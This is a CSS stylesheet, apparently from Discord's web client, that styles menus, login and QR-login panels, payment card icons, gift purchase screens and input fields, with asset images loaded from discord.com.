.item-1tOPte { box-sizing: border-box; position: relative; margin: 2px 0px; border-radius: 2px; font-size: 14px; font-weight: 500; line-height: 18px; cursor: pointer; }

.item-1tOPte.hideInteraction-1iHO1O { cursor: default; }

.customItem-a8hq58 { color: var(--interactive-normal); border-color: var(--interactive-normal); font-size: 14px; font-weight: 500; line-height: 18px; }

.labelContainer-1BLJti { box-sizing: border-box; display: flex; -webkit-box-pack: justify; justify-content: space-between; -webkit-box-align: center; align-items: center; min-height: 32px; padding: 6px 8px; }

.label-22pbtT { -webkit-box-flex: 1; flex: 1 1 auto; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }

.subtext-13Lvrj { margin-top: 2px; white-space: normal; }

.iconContainer-2-XQPY { -webkit-box-flex: 0; flex: 0 0 auto; height: 18px; width: 18px; margin-left: 8px; }

.iconContainerLeft-3SHzHp { margin-left: 0px; margin-right: 8px; }

.icon-LYJorE { width: 18px; height: 18px; }

.hintContainer-Vai8dx, .imageContainer-2fGqYU { -webkit-box-flex: 0; flex: 0 0 auto; max-height: 18px; margin-left: 8px; }

.caret-1XEpQV, .image-3v3Wjg { height: 18px; }

.caret-1XEpQV { width: 18px; transform: rotate(-90deg); }

.disabled-1WRMNA { cursor: pointer; pointer-events: none; opacity: 0.5; }

.separator-2I32lJ { box-sizing: border-box; margin: 4px; border-bottom: 1px solid var(--background-modifier-accent); }

.submenuContainer-2gbm7M { position: relative; }

.submenuPaddingContainer-fiOCHc { padding: 0px 8px; }

.submenu-2-ysNh { min-width: 188px; max-width: 320px; }

.colorDefault-2K3EoJ { color: var(--interactive-normal); border-color: var(--interactive-normal); }

.colorDefault-2K3EoJ .subtext-13Lvrj { color: var(--text-muted); font-size: 12px; line-height: 16px; }

.colorDefault-2K3EoJ .checkbox-3s5GYZ, .colorDefault-2K3EoJ .radioSelection-1HmrQS { color: var(--control-brand-foreground); }

.colorDefault-2K3EoJ .check-1JyqgN { color: rgb(255, 255, 255); }

.colorDefault-2K3EoJ.focused-3afm-j { background-color: var(--brand-experiment-560); color: rgb(255, 255, 255); }

.colorDefault-2K3EoJ.focused-3afm-j .checkbox-3s5GYZ, .colorDefault-2K3EoJ.focused-3afm-j .radioSelection-1HmrQS, .colorDefault-2K3EoJ.focused-3afm-j .subtext-13Lvrj { color: rgb(255, 255, 255); }

.colorDefault-2K3EoJ.focused-3afm-j .check-1JyqgN { color: var(--brand-experiment-560); }

.colorDefault-2K3EoJ:active:not(.hideInteraction-1iHO1O) { background-color: var(--brand-experiment-600); color: rgb(255, 255, 255); }

.colorBrand-ROmMP1 { color: var(--brand-experiment-360); }

.theme-light .colorBrand-ROmMP1:not(.focused-3afm-j) { color: var(--brand-experiment-500); }

.colorDanger-2qLCe1 { }

.colorDanger-2qLCe1, .colorDanger-2qLCe1 .checkbox-3s5GYZ, .colorDanger-2qLCe1 .radioSelection-1HmrQS { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.colorDanger-2qLCe1.focused-3afm-j { background-color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); color: rgb(255, 255, 255); }

.colorDanger-2qLCe1.focused-3afm-j .check-1JyqgN { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.colorDanger-2qLCe1:active:not(.hideInteraction-1iHO1O) { background-color: hsl(359,calc(var(--saturation-factor, 1)*56.3%),40.4%); color: rgb(255, 255, 255); }

.colorPremium-p4p7qO { }

.colorPremium-p4p7qO .icon-LYJorE { color: hsl(302,calc(var(--saturation-factor, 1)*100%),72.5%); }

.colorPremium-p4p7qO.focused-3afm-j .icon-LYJorE, .colorPremium-p4p7qO:active:not(.hideInteraction-1iHO1O) .icon-LYJorE { color: rgb(255, 255, 255); }

.colorGreen-2ZgJka { }

.colorGreen-2ZgJka, .colorGreen-2ZgJka .checkbox-3s5GYZ, .colorGreen-2ZgJka .radioSelection-1HmrQS { color: hsl(139,calc(var(--saturation-factor, 1)*85.6%),64.5%); }

.colorGreen-2ZgJka.focused-3afm-j { background-color: hsl(139,calc(var(--saturation-factor, 1)*85.6%),64.5%); color: rgb(255, 255, 255); }

.colorGreen-2ZgJka.focused-3afm-j .check-1JyqgN { color: hsl(139,calc(var(--saturation-factor, 1)*85.6%),64.5%); }

.colorGreen-2ZgJka:active:not(.hideInteraction-1iHO1O) { background-color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); color: rgb(255, 255, 255); }

.groupLabel-2t5iuZ { text-transform: uppercase; font-family: var(--font-display); font-weight: 700; font-size: 12px; padding-top: 4px; padding-bottom: 0px; }

.arrow-gKvcEx { transition: transform 0.2s ease-out 0s, -webkit-transform 0.2s ease-out 0s; }

.arrow-gKvcEx.open-2d6eoT { transform: translate3d(0px, -3px, 0px) rotate(-180deg); }

.listWrapper-21hRUc { overflow: hidden scroll; position: absolute; inset: 0px; }

.listHeight-3jP-vC { visibility: hidden; }

.listItems-1uJgMC { contain: layout; position: absolute; }

.scroller-3gAZLs { height: 100%; }

.list-1hif6B { -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-align: center; align-items: center; background-color: var(--background-secondary); border-radius: 4px; }

.accountCard-2lEBaP, .list-1hif6B { display: flex; }

.accountCard-2lEBaP { align-self: stretch; padding: 12px 16px; }

.separator-1BBj4f { border-bottom: 1px solid var(--background-modifier-accent); margin-left: 16px; width: calc(100% - 16px); }

.userDetails-Qn5m2_ { display: flex; -webkit-box-align: center; align-items: center; width: 100%; }

.usernameSection-2tNbKz { margin-left: 8px; max-width: 76%; }

.hasActionMaxWidth-1BgGHZ { max-width: 48%; }

.userActions-3uLhqN, .username-1hANmF { display: flex; -webkit-box-align: center; align-items: center; }

.userActions-3uLhqN { margin-left: auto; }

.userActionMenu-_B_nwK { margin-left: 16px; padding: 0px; line-height: 0; }

.userActionMenu-_B_nwK:hover { cursor: pointer; }

.userActionMenu-_B_nwK:hover .overflowMenuIcon-2izoM9 { color: var(--interactive-active); }

.userActionMenu-_B_nwK .overflowMenuIcon-2izoM9 { color: var(--interactive-normal); }

.textOverflow-w-z-Xb { text-overflow: ellipsis; overflow: hidden; }

.hintText-1eo5B6 { text-align: left; color: hsl(138,calc(var(--saturation-factor, 1)*47%),25.9%); }

.theme-dark .hintText-1eo5B6 { color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); }

.chooseAccountAuthBox-3frFoi { padding: 24px 16px 16px; }

.chooseAccountHelpText-1WqwNN { margin: 8px 0px 24px; }

.actions-mcIALk { display: flex; -webkit-box-pack: center; justify-content: center; margin-top: 16px; }

.container-cMG81i { border-radius: 4px; overflow: hidden; background-color: var(--background-tertiary); }

.container-cMG81i, .inner-2P4tQO { box-sizing: border-box; display: flex; -webkit-box-flex: 1; flex: 1 1 auto; }

.inner-2P4tQO { position: relative; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-flow: row wrap; padding: 1px; min-width: 0px; }

.disabled-1ytYrN .inner-2P4tQO { opacity: 0.3; }

.input-3Xdcic { box-sizing: border-box; background: transparent; border: none; resize: none; -webkit-box-flex: 1; flex: 1 1 0%; min-width: 48px; margin: 1px; appearance: none; color: var(--text-normal); }

.input-3Xdcic::-webkit-input-placeholder { color: var(--text-muted); opacity: 1; }

.disabled-1ytYrN .input-3Xdcic { cursor: not-allowed; }

.tag-2gZFdE { box-sizing: border-box; border-radius: 2px; text-align: center; margin: 1px; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; cursor: pointer; transition: none 0s ease 0s; background-color: var(--background-primary); }

.tag-2gZFdE:hover { text-decoration: none; }

.small-2oHLgT .input-3Xdcic, .small-2oHLgT .tag-2gZFdE { font-size: 14px; font-weight: 500; line-height: 20px; height: 20px; padding: 0px 4px; }

.medium-1LLV3p .input-3Xdcic, .medium-1LLV3p .tag-2gZFdE { font-size: 16px; line-height: 32px; height: 30px; padding: 0px 8px; }

.large-laZJpW .input-3Xdcic, .large-laZJpW .tag-2gZFdE { font-size: 20px; line-height: 40px; height: 38px; padding: 0px 16px; }

.close-365pYL { width: 12px; height: 12px; margin-left: 4px; }

.close-365pYL, .iconLayout-3OgqU3 { box-sizing: border-box; }

.iconLayout-3OgqU3 { display: flex; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; width: 22px; height: 22px; cursor: text; }

.pointer-aRJXzd { cursor: pointer; }

.medium-1LLV3p.iconLayout-3OgqU3 { width: 32px; height: 32px; }

.large-laZJpW.iconLayout-3OgqU3 { width: 40px; height: 40px; }

.iconContainer-2wXvy1 { position: relative; width: 16px; height: 16px; }

.medium-1LLV3p .iconContainer-2wXvy1 { width: 20px; height: 20px; }

.large-laZJpW .iconContainer-2wXvy1 { width: 24px; height: 24px; }

.icon-1S6UIr { box-sizing: border-box; position: absolute; top: 0px; left: 0px; opacity: 0; width: 100%; height: 100%; z-index: 2; transition: transform 0.1s ease-out 0s, opacity 0.1s ease-out 0s, -webkit-transform 0.1s ease-out 0s; transform: rotate(90deg); color: var(--interactive-normal); }

.icon-1S6UIr.visible-3bFCH- { transform: rotate(0deg); opacity: 1; }

.clear--Eywng { }

.iconLayout-3OgqU3:hover .clear--Eywng { color: var(--interactive-hover); }

.iconLayout-3OgqU3:active .clear--Eywng { color: var(--interactive-active); }

.selectableItem-1MP3MQ { box-sizing: border-box; border-radius: 3px; height: 34px; padding: 8px 10px; margin: 2px 4px 2px 0px; cursor: pointer; }

.selectableItem-1MP3MQ.selected-31soGA { cursor: default; }

.selectableItemLabel-1RKQjD { font-size: 16px; position: relative; top: 1px; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }

.theme-light .selectableItem-1MP3MQ { color: rgb(79, 84, 92); }

.theme-light .selectableItem-1MP3MQ:hover { background-color: rgb(220, 221, 222); }

.theme-dark .selectableItem-1MP3MQ { color: rgb(246, 246, 247); }

.theme-dark .selectableItem-1MP3MQ:hover { background-color: rgba(32, 34, 37, 0.6); }

.popoutList-T9CKZQ { border-radius: 5px; padding: 10px 10px 0px; }

.popoutListInput-1l9TUI { width: 100%; }

.popoutListEmpty-voOEBJ { cursor: default; box-sizing: border-box; padding: 8px 10px 0px; margin: 2px 4px 2px 0px; }

.divider-faSUbd { }

.theme-light .popoutList-T9CKZQ { background: rgb(255, 255, 255); }

.theme-light .popoutListEmpty-voOEBJ { color: rgb(79, 84, 92); }

.theme-dark .popoutList-T9CKZQ { background: rgb(54, 57, 63); }

.theme-dark .popoutListEmpty-voOEBJ { color: rgb(246, 246, 247); }

.phoneFieldPopout-7PzjOO { width: 220px; height: 240px; position: absolute; top: 40px; left: 0px; }

.phoneFieldPopout-7PzjOO .phoneFieldScroller-1rORCK { height: 196px; padding-bottom: 10px; }

.phoneFieldPopout-7PzjOO .countryItem-2OHkzd { width: 100%; }

.phoneFieldPopout-7PzjOO .countryName-1Qmnov { font-size: 13px; line-height: 18px; margin-right: 8px; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }

.phoneFieldPopout-7PzjOO .countryCode-1zrlUB { font-weight: 600; font-size: 13px; text-align: right; }

.theme-light .phoneFieldPopout-7PzjOO .countryName-1Qmnov { color: rgb(114, 118, 125); }

.theme-light .phoneFieldPopout-7PzjOO .countryCode-1zrlUB { color: rgb(79, 84, 92); }

.theme-dark .phoneFieldPopout-7PzjOO .countryName-1Qmnov { color: rgb(185, 187, 190); }

.theme-dark .phoneFieldPopout-7PzjOO .countryCode-1zrlUB { color: rgb(246, 246, 247); }

.outerContainer-2pDY4c { position: relative; }

.container-1uOKxa { overflow: hidden; }

.container-1uOKxa, .innerContainer-20_g0H { display: flex; }

.countryCode-2YakYv { padding: 9px 8px; line-height: normal; white-space: nowrap; }

.separator-39gxf1 { width: 1px; background-color: var(--background-modifier-accent); margin: 8px 4px; }

.popout-NCeqAn { z-index: 1; }

.hidden-2l9u-8 { display: none; }

.input-1CjGeR { display: flex; -webkit-box-align: center; align-items: center; }

.inputWrapper-3aw2Sf { -webkit-box-flex: 1; flex-grow: 1; }

.inputField-4g7rSQ { border: none; background-color: transparent; }

.applicationIcon-28iDrP { margin-right: 8px; }

.container-23z5yI { width: 100%; }

.guildBadge-3vRjwA { position: relative; margin-right: 6px; flex-shrink: 0; width: 25px; height: 25px; }

.appIcon-lZGJcM { display: inline-block; }

.appIconSize-2ugydl { width: 100px; height: 100px; }

.appIcon-lZGJcM, .avatar-2Gi7sV, .guildIcon-1PRDp6 { margin-bottom: 24px; }

@media (max-height: 720px) {
  .appIcon-lZGJcM, .avatar-2Gi7sV, .guildIcon-1PRDp6 { margin-bottom: 0px; width: 64px; height: 64px; }
}

.compactAvatar-3qGnXy { margin-bottom: 8px; }

.inviteResolvingGuildName-bQULNl { margin-top: 8px; }

.inviteResolvingGuildName-bQULNl, .title-2_aCTw { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; }

.title-2_aCTw { margin-top: 4px; color: var(--header-primary); font-weight: 600; }

@media (min-height: 640px) {
  .title-2_aCTw { margin-top: 8px; }
}

.activityCount-2GgGMq, .directInviteSubTitle-u2ba2r { margin-top: 4px; }

@media (min-height: 640px) {
  .activityCount-2GgGMq { margin-top: 8px; }
}

.guildContainer-3vevW1 { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; }

.appIn-_bj_p1 { margin: 4px 0px; }

.appGuildName-2aGDAZ { color: var(--header-primary); }

.transitionGroup-aR7y1d { overflow: hidden; position: relative; }

.measurement-DMxQp7 { overflow: hidden; }

.measurementFill-31KKmO { -webkit-box-flex: 0; flex: 0 0 auto; width: 100%; }

.measurementFillStatic-MZ1pNY { height: 100%; }

.animatedNode-5VAmrN { width: 100%; }

.qrLogin-1AOZMt { position: relative; overflow: hidden; width: 240px; height: 344px; }

.qrLogin-1AOZMt, .qrLoginInner-c_7ePj { display: flex; -webkit-box-align: center; align-items: center; }

.qrLoginInner-c_7ePj { -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-pack: center; justify-content: center; height: 100%; }

.qrCode-wG6ZgU { image-rendering: pixelated; position: absolute; }

.qrCodeContainer-3sXarj { width: 176px; height: 176px; position: relative; margin-bottom: 32px; }

.qrCodeContainer-3sXarj, .qrCodeOverlay-qgtlTP { display: flex; }

.qrCodeOverlay-qgtlTP { width: 100%; height: 100%; position: absolute; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; }

.qrCodeOverlay-qgtlTP img { width: 50px; height: 50px; display: flex; }

.qrAvatar-8_WYAf { margin-bottom: 32px; }

.startOverButton-3q0wUV { color: var(--brand-experiment); margin-top: 16px; }

.verticalSeparator-3huAjp { margin: 0px 32px; border: 1px solid var(--background-modifier-accent); }

@media (max-width: 830px) {
  .qrLogin-1AOZMt, .verticalSeparator-3huAjp { display: none; }
}

.column-3OSB2u { -webkit-box-flex: 1; flex: 1 1 auto; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; padding: 32px; }

.column-3OSB2u:nth-child(2n+1) { background-color: var(--background-secondary); }

.column-3OSB2u:nth-child(2n) { background-color: var(--background-primary); }

.column-3OSB2u:first-child { padding-left: 32px; }

.column-3OSB2u:last-child { padding-right: 32px; }

.container-1WbC0Y { padding: 0px; overflow: hidden; }

.content-3vcdXQ { display: flex; }

.header-2C7hmc { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; width: 100%; }

.horizontalAuthBox-18f_tk { width: 960px; }

.needAccount-23l_Wh { font-size: 14px; line-height: 16px; }

.smallRegisterLink-2LCrMe { display: inline-block; margin-left: 4px; margin-bottom: 0px; vertical-align: bottom; padding: 0px; }

.mainLoginContainer-1ddwnR { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-flex: 1; flex-grow: 1; -webkit-box-align: start; align-items: start; }

.mobile-1ryxso { width: 100%; }

.goBackButton-XWhogg { margin-bottom: 16px; padding-left: 0px; }

.goBackButton-XWhogg .content-1c-xAN { display: flex; -webkit-box-align: center; align-items: center; }

.goBackButton-XWhogg .caret-2rzESa { margin: 0px 4px 1px 0px; }

.title-2sg2wH { margin-bottom: 8px; }

.subtitle-1tsRgk { margin-bottom: 24px; }

.img-14RJ4C { margin-bottom: 20px; width: 252px; height: 168px; }

.checkbox-333Zkg { margin-right: 8px; }

.subText-2N96YG { color: var(--text-normal); }

.shinyButton-3uFlM- { overflow: hidden; }

.buttonShine-1CSUM8 { animation-delay: 0.75s; animation-duration: 2s; animation-name: Shine-2sIJ1p; animation-iteration-count: infinite; animation-timing-function: ease-in-out; color: rgba(255, 255, 255, 0.1); }

.shineContainer-1HHuZ1 { position: absolute; top: -50%; bottom: 0px; right: 0px; }

.shineContainerDefault-2bbFgu { left: -50%; }

.shineContainerSmall-1MIVgq { left: -100%; }

.shine-2f1uEU { background-color: currentcolor; height: 300%; position: relative; top: -100%; transform: rotate(30deg); width: 56px; }

.shinePaused-1D7eIe { animation-play-state: paused; }

.shineInner-fWUhvE { background-color: currentcolor; height: 100%; width: 16px; }

@-webkit-keyframes Shine-2sIJ1p { 
  0% { transform: translate3d(-50%, 0px, 0px); }
  100% { transform: translate3d(200%, 0px, 0px); }
}

@keyframes Shine-2sIJ1p { 
  0% { transform: translate3d(-50%, 0px, 0px); }
  100% { transform: translate3d(200%, 0px, 0px); }
}

.image-DpivWR { margin: 20px auto; background-repeat: no-repeat; background-size: cover; }

.imageUpgrade-2E0SDl { width: 267px; height: 120px; }

.imageCancel-21P7k8 { width: 166px; height: 144px; }

.imageUnclaimed-3LlGC0, .imageUnverified-38hYjp { width: 162px; height: 100px; }

.message-2aGRrk { margin-top: 20px; margin-bottom: 20px; font-size: 16px; line-height: 1.44; }

.theme-dark .message-2aGRrk { color: rgb(185, 187, 190); }

.theme-dark .secondaryButton-3QOpVo { color: rgb(255, 255, 255); }

.theme-dark .imageUpgrade-2E0SDl { background-image: url("https://discord.com/assets/d8371709428ae18e72c92a419931f43f.svg"); }

.theme-dark .imageCancel-21P7k8 { background: url("https://discord.com/assets/40c7bc64839852a875c69b4bf2182676.svg"); }

.theme-dark .imageUnclaimed-3LlGC0 { background-image: url("https://discord.com/assets/eb38bedd2469cc0ee75d038314b808de.svg"); }

.theme-dark .imageUnverified-38hYjp { background-image: url("https://discord.com/assets/9ee155142daa13a74e603cc1c1bad485.svg"); }

.theme-light .message-2aGRrk { color: rgb(114, 118, 125); }

.theme-light .secondaryButton-3QOpVo { color: rgb(79, 84, 92); }

.theme-light .imageUpgrade-2E0SDl { background-image: url("https://discord.com/assets/6b6db1ab88f06c54d63c553b09822749.svg"); }

.theme-light .imageCancel-21P7k8 { background: url("https://discord.com/assets/9aab26efad30d10d2a457e25b816bd76.svg"); }

.theme-light .imageUnclaimed-3LlGC0 { background-image: url("https://discord.com/assets/bd04383ff5def04b9a03fd70f545ae34.svg"); }

.theme-light .imageUnverified-38hYjp { background-image: url("https://discord.com/assets/6f6d652ea8bb11a8acde40a2916d2328.svg"); }

.header-3bB_GQ { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-align: center; align-items: center; padding-top: 24px; padding-bottom: 24px; }

.title-2HFmAi { font-weight: 700; }

.subtitle-8DQCLU, .title-2HFmAi { text-align: center; }

.subtitle-8DQCLU { margin-top: 8px; }

.modalCloseButton-nA1JXv { position: absolute; top: 16px; right: 16px; }

.content-2Cyhe6 { padding-bottom: 16px; }

.password-3REpJO { margin-top: 16px; }

.cancel-204y04 { margin-right: 8px; }

.message-3pbw3N { margin-top: 20px; margin-bottom: 20px; }

.imageUnverified-3TqE-L { background-repeat: no-repeat; background-size: cover; height: 100px; margin: 20px auto; width: 162px; }

.theme-dark .imageUnverified-3TqE-L { background-image: url("https://discord.com/assets/9ee155142daa13a74e603cc1c1bad485.svg"); }

.theme-light .imageUnverified-3TqE-L { background-image: url("https://discord.com/assets/6f6d652ea8bb11a8acde40a2916d2328.svg"); }

.sofortCopy-2hZss- { margin-top: 5px; }

.warnBlock-2vlhcX { position: relative; display: flex; -webkit-box-align: center; align-items: center; padding-top: 10px; }

.warnIcon-2LVzAf { background-image: url("https://discord.com/assets/b49c87140d056234c2566d1806bd510a.svg"); position: absolute; top: 12px; width: 24px; height: 24px; }

.warnText-3R1Ie0 { margin-left: 34px; }

.cardIcon-3U4mwZ { position: relative; text-indent: -9999em; box-shadow: rgba(0, 0, 0, 0.1) 0px 1px 3px; -webkit-box-flex: 0; flex: 0 0 auto; transform-origin: 50% 50%; transform-style: preserve-3d; transition: transform 0.3s ease-in-out 0s, -webkit-transform 0.3s ease-in-out 0s; }

.cardIcon-3U4mwZ::after, .cardIcon-3U4mwZ::before { backface-visibility: hidden; }

.cardIcon-3U4mwZ::before { background-image: url("https://discord.com/assets/3f0d56bf816fb54a4b70ef02e4f25687.svg"); background-size: 100% 100%; border-radius: 2px; backface-visibility: hidden; transform: rotateY(0deg); }

.cardIcon-3U4mwZ::after, .cardIcon-3U4mwZ::before { content: ""; position: absolute; top: 0px; left: 0px; width: 100%; height: 100%; display: block; }

.cardIcon-3U4mwZ::after { background: url("https://discord.com/assets/47034abf987d576279eef987473083b5.svg") 0% 0% / 100% 100%; transform: rotateY(180deg); }

.cardIcon-3U4mwZ.visa-wmEUYN::before { background-image: url("https://discord.com/assets/74dabd23b4a8e624e0dc10b550b20b1f.svg"); }

.cardIcon-3U4mwZ.american-express-2JYHQz::before, .cardIcon-3U4mwZ.amex-34lhch::before { background-image: url("https://discord.com/assets/904d64be1ff945b93e95da5cef359eb8.svg"); }

.cardIcon-3U4mwZ.discover-380k9c::before { background-image: url("https://discord.com/assets/ad36553983828f46952c9ed776862250.svg"); }

.cardIcon-3U4mwZ.master-card-1eMGLE::before, .cardIcon-3U4mwZ.mastercard-2PR9Wc::before { background-image: url("https://discord.com/assets/bc3d41e9c8cfc895a6f3caf66becb73b.svg"); }

.cardIcon-3U4mwZ.paypal-1_sEH-::before { background-image: url("https://discord.com/assets/e803058a80fe9934741944df059f9763.svg"); }

.cardIcon-3U4mwZ.paymentRequest-7yBZCi::before { background-image: url("https://discord.com/assets/9121ee2c33595951f64e9398612a537e.svg"); }

.cardIcon-3U4mwZ.gPay-23y16H::before { background-image: url("https://discord.com/assets/e310a4344ee7c4e812bb063375b41e30.svg"); }

.cardIcon-3U4mwZ.sofort-eJ1MEW::before { background-image: url("https://discord.com/assets/db4248ddd8d0f1799a849d824d466f57.svg"); }

.cardIcon-3U4mwZ.przelewy24-2aa47r::before { background-image: url("https://discord.com/assets/ad97c7ddd72e9fe28e0c9bd9ea777c8e.svg"); }

.cardIcon-3U4mwZ.giropay-23XS_T::before { background-image: url("https://discord.com/assets/02d35d04fa05b5322334f4bd2324e09b.svg"); }

.cardIconSmall-2gJ6xX { width: 32px; height: 22px; }

.cardIconMedium-1N98Bu { width: 64px; height: 44px; }

.cardIconLarge-2Hh3T0 { width: 96px; height: 66px; }

.cardIconXLarge-1hyB-0 { width: 128px; height: 88px; }

.flipped-26DCUA { transform: rotateY(180deg); }

.paymentSourceLabel-1lo4Ca { margin-left: 8px; line-height: 22px; text-overflow: ellipsis; overflow: hidden; }

.paymentSourceLabel-1lo4Ca:first-child { margin-left: 0px; }

.paymentSourceSelectedOption-3FziLU { overflow: hidden; }

.paymentSourceHasWarning-2RVnfr { border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; }

.paymentSourceWarning-1OX-_Q { display: flex; -webkit-box-align: center; align-items: center; align-content: center; padding: 8px 8px 8px 12px; background-color: var(--background-tertiary); border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; }

.paymentSourceWarningIcon-3mJyFL { padding-right: 8px; }

.theme-dark .error-tDF6fl, .theme-light .error-tDF6fl { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.copyInput-2rOSt7 { overflow: hidden; box-sizing: border-box; position: relative; border: 1px solid; cursor: pointer; border-radius: 3px; height: 40px; }

.copyInputDefault-21sXtF, .copyInputError-WlP8ke { }

.copyInputError-WlP8ke { border-color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.copyInputSuccess-XZc7BO { border-color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); }

.layout-17VGBm { position: absolute; inset: 0px; }

.inputWrapper-2YT_dU { position: relative; }

.button-38qaLQ { margin: 4px 4px 4px 0px; border-radius: 2px; transition: background-color 0.2s ease-in-out 0s, color 0.2s ease-in-out 0s; padding: 2px 20px !important; }

.hiddenMessage-1iiFV5, .input-31cgnL { position: relative; font-size: 16px; line-height: 20px; background-color: transparent; padding: 10px 0px 10px 10px; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }

.input-31cgnL { width: 100%; min-width: 0px; box-sizing: border-box; -webkit-box-flex: 1; flex: 1 1 auto; border: none; transition: color 0.15s ease 0s; cursor: text; }

.inputDefault-A2ud2y, .inputError-reIyaS { }

.inputError-reIyaS { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.inputSuccess-3U9sNd { color: var(--text-positive); }

.hiddenMessage-1iiFV5 { z-index: 0; position: absolute; inset: 0px; }

.inputHidden-1K-bD4 { visibility: hidden; }

.theme-light .copyInput-2rOSt7 { background-color: rgba(79, 84, 92, 0.02); }

.theme-light .copyInputDefault-21sXtF { border-color: rgba(79, 84, 92, 0.3); }

.theme-light .hiddenMessage-1iiFV5, .theme-light .inputDefault-A2ud2y { color: rgb(79, 84, 92); }

.theme-light .hiddenMessage-1iiFV5::-webkit-input-placeholder, .theme-light .inputDefault-A2ud2y::-webkit-input-placeholder { color: rgba(79, 84, 92, 0.3); }

.theme-light .hiddenMessage-1iiFV5::placeholder, .theme-light .inputDefault-A2ud2y::placeholder { color: rgba(79, 84, 92, 0.3); }

.theme-dark .copyInput-2rOSt7 { background-color: rgba(0, 0, 0, 0.1); }

.theme-dark .copyInputDefault-21sXtF { border-color: rgba(0, 0, 0, 0.3); }

.theme-dark .hiddenMessage-1iiFV5, .theme-dark .inputDefault-A2ud2y { color: rgb(246, 246, 247); }

.theme-dark .hiddenMessage-1iiFV5::-webkit-input-placeholder, .theme-dark .inputDefault-A2ud2y::-webkit-input-placeholder { color: rgba(246, 246, 247, 0.3); }

.theme-dark .hiddenMessage-1iiFV5::placeholder, .theme-dark .inputDefault-A2ud2y::placeholder { color: rgba(246, 246, 247, 0.3); }

.blurb-143skT { margin-top: 10px; font-size: 16px; line-height: 1.44; text-align: center; max-width: 360px; }

.divider-2rujXH { width: 100%; height: 1px; margin: 20px 0px; }

.subtext-2QfZHv { font-size: 12px; line-height: 14px; margin-top: 10px; }

.subtextError-2RxXOT { color: var(--text-danger) !important; }

.installSelector-1OcF6d, .storeTerms-3G4Jo7 { width: 100%; }

.confirmButton-1ktpa8, .header-1fmANI, .icon-3w4Cq1, .storeTerms-3G4Jo7 { margin-top: 20px; }

.headerSeasonalGifting-3AXt4n { margin-top: 120px; }

.termsCheckbox-3YWF9A { margin-bottom: 10px; }

.termsCheckbox-3YWF9A:last-child { margin-bottom: 0px; }

.giftRecipientSection-1LtPEM { margin-top: 40px; width: 100%; }

.giftRecipient-2oP4oU { display: flex; -webkit-box-align: center; align-items: center; width: 100%; }

.giftRecipientInputWrapper-1l2gGM { width: 100%; }

.giftRecipientInputError-2ARPDw { border-color: var(--text-danger) !important; }

.giftRecipientRowAvatar-pdClLb { margin-right: 8px; }

.sendToRecipientButton-1rEvBB { margin-left: 8px; height: 42px; }

.blurb-143skT { color: var(--header-secondary); }

.storeTerms-3G4Jo7, .subtext-2QfZHv { color: var(--channels-default); }

.divider-2rujXH { background-color: var(--background-modifier-accent); }

.giftBox-fB65Jx { width: 260px; position: absolute; top: -131px; }

.error-20ZZpF { display: flex; -webkit-box-align: center; align-items: center; border-radius: 8px; font-size: 14px; line-height: 1.3; font-weight: 500; padding: 8px; width: 100%; box-sizing: border-box; }

.error-20ZZpF a { color: rgb(255, 255, 255); font-weight: 600; }

.error-20ZZpF a:hover { text-decoration: underline; }

.icon-25oV0D { width: 24px; height: 24px; flex-shrink: 0; }

.text-1ebFA_ { margin-left: 10px; -webkit-box-flex: 1; flex: 1 1 0%; }

.backgroundRed-2jrPZy { background-color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); color: rgb(255, 255, 255); }

.errorClose-19Dwss { cursor: pointer; }

.errorClose-19Dwss, .errorCloseIcon-3y2VHJ { width: 16px; height: 16px; }

.backgroundTertiary-3PbXb3 { background-color: var(--background-tertiary); color: var(--interactive-active); }

.backgroundAccent-349kuI { background-color: var(--background-accent); color: rgb(255, 255, 255); }

.radioBar-bMNUI- { border-left: 3px solid var(--radio-bar-accent-color); border-radius: 4px; display: grid; grid-template-columns: auto 1fr; gap: 8px; -webkit-box-align: center; align-items: center; }

.item-26Dhrx[aria-checked="true"] { color: var(--interactive-active); }

.itemFilled-3llgIC[aria-checked="true"] { background-color: var(--background-tertiary); }

.radioIconForeground-XwlXQN { color: var(--control-brand-foreground); }

.item-26Dhrx { color: var(--interactive-normal); cursor: pointer; border-radius: 3px; display: block; }

.item-26Dhrx:hover:not([aria-checked="true"]) { color: var(--interactive-hover); }

.item-26Dhrx:active:not([aria-checked="true"]) { color: var(--interactive-active); }

.itemFilled-3llgIC { background-color: var(--background-secondary); }

.itemFilled-3llgIC:hover:not([aria-checked="true"]) { background-color: var(--background-modifier-hover); }

.itemFilled-3llgIC:active:not([aria-checked="true"]) { background-color: var(--background-modifier-active); }

.tooltipWrapper-3VcaN6 { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

